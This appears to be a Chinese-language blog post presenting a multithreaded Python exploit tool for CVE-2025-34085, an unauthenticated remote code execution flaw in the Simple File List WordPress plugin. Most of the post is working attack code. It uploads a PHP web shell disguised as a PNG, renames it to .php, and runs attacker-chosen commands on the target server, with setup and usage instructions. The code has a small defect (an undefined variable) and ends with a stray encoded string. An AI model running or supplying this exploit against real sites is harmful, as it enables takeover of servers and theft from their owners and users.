CVE-2025-34085 WordPress插件未授权远程代码执行漏洞利用工具

50 阅读5分钟

CVE-2025-34085 — Simple File List WordPress Plugin RCE 利用工具

项目描述

本项目是一个针对 WordPress 插件 Simple File List 中严重安全漏洞 CVE-2025-34085 的利用工具。该漏洞被评定为严重级别(CVSS 10.0),属于未授权远程代码执行(Unauthenticated RCE)类型,影响 4.2.3 版本之前的所有插件版本。攻击者无需任何认证即可利用此漏洞,通过上传伪装成图片的恶意 PHP 文件并重命名为 .php 扩展名,最终在目标服务器上执行任意代码。

本工具自动化完成了漏洞利用的全过程,并采用多线程设计以提高效率,旨在用于授权的安全测试与教育研究。

功能特性

  • 自动化漏洞利用:全自动执行漏洞利用步骤,包括构造请求、上传文件、重命名文件和执行命令。
  • 多线程支持:通过配置 THREADS 参数,支持并发测试多个目标或处理多个请求,提升效率。
  • 命令执行与验证:允许用户指定要在目标服务器上执行的系统命令,并可设置 EXPECTED_SUBSTRING 来验证命令执行结果。
  • 用户友好交互:提供彩色终端输出,清晰展示利用进度和结果。
  • 高度可配置:用户可自定义并发线程数、请求头、上传路径、重命名路径及WebShell存放路径等参数。

安装指南

环境要求

  • Python 3.x
  • 所需第三方库:requests, colorama

依赖安装

可以使用 pip 安装所需的 Python 包:

pip install requests colorama

或者,您可以通过创建一个 requirements.txt 文件(内容如下)并使用 pip 安装:

requests>=2.25.1
colorama>=0.4.4

安装命令:

pip install -r requirements.txt

使用说明

基本用法

工具通过命令行参数指定目标。基础使用示例如下:

python3 CVE-2025-34085.py -u https://target-site.com/ --cmd id

命令行参数

工具支持以下参数:

  • -u URL, --url URL:指定目标网站的 URL(必需)。
  • --cmd COMMAND:指定要在目标服务器上执行的系统命令(例如 id, whoami)。

配置说明

您可以直接修改脚本开头的全局变量来自定义行为:

# 全局配置
EXPECTED_SUBSTRING = None  # 用于验证命令输出的字符串,如 `uid=`。设置为 `None` 则接受任何输出。
THREADS = 20  # 并发线程数
HEADERS = {  # HTTP 请求头
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "Accept": "*/*"
}
UPLOAD_PATH = "/wp-content/plugins/simple-file-list/ee-upload-engine.php"  # 上传端点
RENAME_PATH = "/wp-content/plugins/simple-file-list/ee-file-engine.php"    # 重命名端点
SHELL_PATH = "/wp-content/uploads/simple-file-list/"                       # WebShell 存放路径

核心代码

以下是项目中的关键代码片段及详细注释:

1. 主函数与初始化部分

#!/usr/bin/env python3
import requests
import hashlib
import time
import random
import string
import uuid
import argparse
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor
from colorama import Fore, Style, init

# 初始化 colorama 以支持彩色输出
init(autoreset=True)

# 全局配置
EXPECTED_SUBSTRING = None  # 用于验证命令输出的字符串,设置为 None 则接受任何输出
THREADS = 20  # 并发线程数
HEADERS = {  # HTTP 请求头,伪装成浏览器
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "Accept": "*/*"
}
UPLOAD_PATH = "/wp-content/plugins/simple-file-list/ee-upload-engine.php"  # 文件上传端点路径
RENAME_PATH = "/wp-content/plugins/simple-file-list/ee-file-engine.php"    # 文件重命名端点路径
SHELL_PATH = "/wp-content/uploads/simple-file-list/"                       # 上传文件最终存储路径

2. 横幅与辅助函数

def banner():
    """打印工具名称和作者信息的彩色横幅。"""
    print(Fore.RED + Style.BRIGHT + r"""

 ██████╗  ██╗       █████╗   ██████╗ ██╗  ██╗  █████╗  ███████╗ ██╗  ██╗ 
 ██╔══██╗ ██║      ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║  ██║ 
 ██████╔╝ ██║      ███████║ ██║      █████╔╝  ███████║ ███████╗ ███████║ 
 ██╔══██╗ ██║      ██╔══██║ ██║      ██╔═██╗  ██╔══██║ ╚════██║ ██╔══██║ 
 ██████╔╝ ███████╗ ██║  ██║ ╚██████╗ ██║  ██╗ ██║  ██║ ███████║ ██║  ██║ 
 ╚═════╝  ╚══════╝ ╚═╝  ╚═╝  ╚═════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚══════╝ ╚═╝  ╚═╝ 

      CVE-2025-34085 — Simple File List WordPress Plugin RCE 📌
            Author: Black Ash | B1ack4sh
    """)
    print(Fore.RED + "[•] Starting multithreaded exploit...\n")

def normalize_url(domain):
    """确保 URL 以正确的协议开头(默认为 http),并移除末尾的斜杠。"""
    if not domain.startswith("http://") and not domain.startswith("https://"):
        return "http://" + domain
    return domain.rstrip('/')

def rand_str(n=8):
    """生成指定长度的随机字符串,用于创建唯一的文件名。"""
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

def generate_payload(cmd=None, inline=False):
    """
    生成 PHP 载荷。
    Args:
        cmd (str): 要执行的系统命令。
        inline (bool): 如果为 True,生成直接执行命令的代码;否则生成通过 GET 参数接收命令的代码。
    Returns:
        str: 构造好的 PHP 代码字符串。
    """
    if inline:
        return f"system('{cmd}');"
    return "system($_GET['cmd']);"

3. 漏洞利用主函数

def send_exploit(target):
    """
    针对单个目标执行完整的漏洞利用链。
    Args:
        target (str): 目标网站的 URL。
    """
    url = normalize_url(target)
    filename = rand_str()  # 生成随机基础文件名
    timestamp = str(int(time.time()))  # 当前时间戳
    # 根据时间戳和固定盐值生成 token,模拟插件的安全机制
    token = hashlib.md5(f'unique_salt{timestamp}'.encode()).hexdigest()

    # 构造 PHP 载荷内容
    php_payload = f"<?php {generate_payload()} ?>"

    # 步骤1: 上传伪装成图片的 PHP 文件
    upload_url = urljoin(url, UPLOAD_PATH)
    files = {
        'file': (f'{filename}.png', php_payload, 'image/png')  # 伪装成 PNG 文件
    }
    data = {
        'eeSFL_ID': 1,
        'eeSFL_FileUploadDir': '/',  # 上传目录
        'timestamp': timestamp,
        'token': token
    }

    try:
        # 发送上传请求
        resp = requests.post(upload_url, files=files, data=data, headers=HEADERS, timeout=30)
        if resp.status_code == 200 and 'eeSFL_Success' in resp.text:
            print(Fore.GREEN + f"[+] Upload successful for {target}")
        else:
            print(Fore.YELLOW + f"[-] Upload failed for {target}")
            return
    except Exception as e:
        print(Fore.RED + f"[!] Upload error for {target}: {e}")
        return

    # 步骤2: 将上传的文件重命名为 .php 扩展名
    rename_url = urljoin(url, RENAME_PATH)
    rename_data = {
        'eeSFL_ID': 1,
        'eeFileOldName': f'{filename}.png',  # 原文件名
        'eeListID': 0,
        'eeFileAction': 'rename',
        'eeFileNewName': f'{filename}.php'   # 新文件名
    }
    try:
        # 发送重命名请求
        resp = requests.post(rename_url, data=rename_data, headers=HEADERS, timeout=30)
        if resp.status_code == 200:
            print(Fore.GREEN + f"[+] Rename successful for {target}")
        else:
            print(Fore.YELLOW + f"[-] Rename failed for {target}")
            return
    except Exception as e:
        print(Fore.RED + f"[!] Rename error for {target}: {e}")
        return

    # 步骤3: 访问重命名后的 PHP 文件以执行命令
    shell_url = urljoin(url, f"{SHELL_PATH}{filename}.php?cmd={command}")
    try:
        # 发送 GET 请求执行命令,cmd 参数通过 URL 传递
        resp = requests.get(shell_url, headers=HEADERS, timeout=30)
        if EXPECTED_SUBSTRING is None or EXPECTED_SUBSTRING in resp.text:
            print(Fore.CYAN + f"[*] Command output for {target}:")
            print(resp.text)
        else:
            print(Fore.YELLOW + f"[-] Unexpected output from {target}")
    except Exception as e:
        print(Fore.RED + f"[!] Shell access error for {target}: {e}")

6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPo88U8LVX5sLNTHXXTjqqY